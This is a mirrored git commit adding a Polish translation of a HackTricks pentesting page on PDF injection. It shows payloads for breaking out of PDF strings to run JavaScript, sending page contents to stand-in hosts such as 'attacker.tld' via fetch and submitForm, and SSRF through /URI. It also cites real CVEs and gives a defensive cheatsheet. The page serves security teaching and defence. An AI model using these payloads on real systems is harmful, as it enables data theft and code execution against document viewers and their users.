mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
		
							parent
							
								
									6275d7efb9
								
							
						
					
					
						commit
						727d2177eb
					
				@ -1,7 +1,55 @@
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript lub ukraść zawartość PDF.**
 | 
			
		||||
 | 
			
		||||
Sprawdź post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
 | 
			
		||||
# PDF Injection
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript, przeprowadzić SSRF lub ukraść zawartość PDF.**
 | 
			
		||||
Składnia PDF jest niezwykle elastyczna – jeśli możesz wydostać się z ciągu lub słownika, który osadza twój input, możesz dodać całkowicie nowe obiekty (lub nowe klucze w tym samym obiekcie), które Acrobat/Chrome chętnie zanalizuje.
 | 
			
		||||
Od 2024 roku fala raportów o bug-bounty pokazała, że *jedna nieucieczona nawias lub ukośnik jest wystarczająca* do pełnego wykonania skryptu.
 | 
			
		||||
 | 
			
		||||
## TL;DR – Nowoczesny Workflow Ataku (2024)
 | 
			
		||||
1. Znajdź dowolną wartość kontrolowaną przez użytkownika, która trafia do **(ciągu nawiasowego)**, `/URI ( … )` lub `/JS ( … )` w wygenerowanym PDF.
 | 
			
		||||
2. Wstrzyknij `) ` (zamykając ciąg) po którym następuje jeden z poniższych prymitywów i zakończ kolejnym otwierającym nawiasem, aby zachować poprawność składni.
 | 
			
		||||
3. Dostarcz złośliwy plik PDF do ofiary (lub do usługi backendowej, która automatycznie renderuje plik – świetne dla ślepych błędów).
 | 
			
		||||
4. Twój ładunek działa w przeglądarce PDF:
 | 
			
		||||
* Chrome / Edge → PDFium Sandbox
 | 
			
		||||
* Firefox → PDF.js (zobacz CVE-2024-4367)
 | 
			
		||||
* Acrobat → Pełne API JavaScript (może wyeksportować dowolne zawartości plików za pomocą `this.getPageNthWord`)
 | 
			
		||||
 | 
			
		||||
Przykład (przechwycenie linku adnotacji):
 | 
			
		||||
```pdf
 | 
			
		||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
 | 
			
		||||
```
 | 
			
		||||
*Pierwszy `)` zamyka oryginalny ciąg URI, następnie dodajemy nowy **słownik Akcji**, który Acrobat wykona, gdy użytkownik kliknie link.*
 | 
			
		||||
 | 
			
		||||
## Przydatne Prymitywy Wstrzykiwania
 | 
			
		||||
| Cel | Fragment Ładunku | Uwagi |
 | 
			
		||||
|------|-----------------|-------|
 | 
			
		||||
| **JavaScript przy otwarciu** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Wykonywane natychmiast po otwarciu dokumentu (działa w Acrobat, nie w Chrome). |
 | 
			
		||||
| **JavaScript przy linku** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Działa w PDFium i Acrobat, jeśli kontrolujesz adnotację `/Link`. |
 | 
			
		||||
| **Ślepe wyciek danych** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Połącz z `this.getPageNthWord` wewnątrz JS, aby ukraść treść. |
 | 
			
		||||
| **Server-Side SSRF** | To samo co powyżej, ale celuj w wewnętrzny URL – świetne, gdy PDF jest renderowany przez usługi back-office, które honorują `/URI`. |
 | 
			
		||||
| **Złamanie linii dla nowych obiektów** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Jeśli biblioteka pozwala na wstrzykiwanie znaków nowej linii, możesz tworzyć zupełnie nowe obiekty. |
 | 
			
		||||
 | 
			
		||||
## Sztuczka Ślepej Enumeracji
 | 
			
		||||
Gareth Heyes (PortSwigger) opublikował jedną linię kodu, która enumeruje każdy obiekt w nieznanym dokumencie – przydatne, gdy nie możesz zobaczyć wygenerowanego PDF:
 | 
			
		||||
```pdf
 | 
			
		||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
 | 
			
		||||
```
 | 
			
		||||
Kod iteruje po DOM Acrobat i wykonuje zewnętrzne żądania dla każdej pary właściwość/wartość, dając ci *JSON-owy* zrzut pliku. Zobacz dokument "Portable Data **ex**Filtration" dla pełnej techniki.
 | 
			
		||||
 | 
			
		||||
## Real-World Bugs (2023-2025)
 | 
			
		||||
* **CVE-2024-4367** – Dowolne wykonanie JavaScript w PDF.js Firefoxa przed 4.2.67 omijało piaskownicę za pomocą spreparowanej akcji `/JavaScript`.
 | 
			
		||||
* **Bug bounty 2024-05** – Główny fintech pozwolił na notatki faktur dostarczane przez klientów, które trafiły do `/URI`; raport zapłacono 10 tys. dolarów po wykazaniu SSRF do wewnętrznego hosta metadanych za pomocą URI `file:///`.
 | 
			
		||||
* **CVE-2023-26155** – `node-qpdf` wstrzyknięcie polecenia przez niesanitowaną ścieżkę PDF pokazuje znaczenie ucieczki ukośników i nawiasów nawet *przed* warstwą PDF.
 | 
			
		||||
 | 
			
		||||
## Defensive Cheatsheet
 | 
			
		||||
1. **Nigdy nie łącz surowego wejścia użytkownika** wewnątrz `(`…`)` ciągów lub nazw. Użyj ucieczki `\`, `(`, `)` zgodnie z §7.3 specyfikacji PDF lub użyj ciągów szesnastkowych `<...>`.
 | 
			
		||||
2. Jeśli tworzysz linki, preferuj `/URI (https://…)`, które *w pełni* kodujesz URL; blokuj schematy `javascript:` w klientach.
 | 
			
		||||
3. Usuń lub zwaliduj słowniki `/OpenAction`, `/AA` (dodatkowe akcje), `/Launch`, `/SubmitForm` i `/ImportData` podczas przetwarzania PDF.
 | 
			
		||||
4. Po stronie serwera renderuj nieufne PDF-y za pomocą *konwertera bezgłowego* (np. qpdf –decrypt –linearize), który usuwa JavaScript i zewnętrzne akcje.
 | 
			
		||||
5. Utrzymuj przeglądarki PDF w aktualizacji; PDF.js < 4.2.67 i Acrobat Reader przed lipcem 2024 pozwalają na trywialne wykonanie kodu.
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (zaktualizowane maj 2024). <https://portswigger.net/research/portable-data-exfiltration>
 | 
			
		||||
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (kwiecień 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user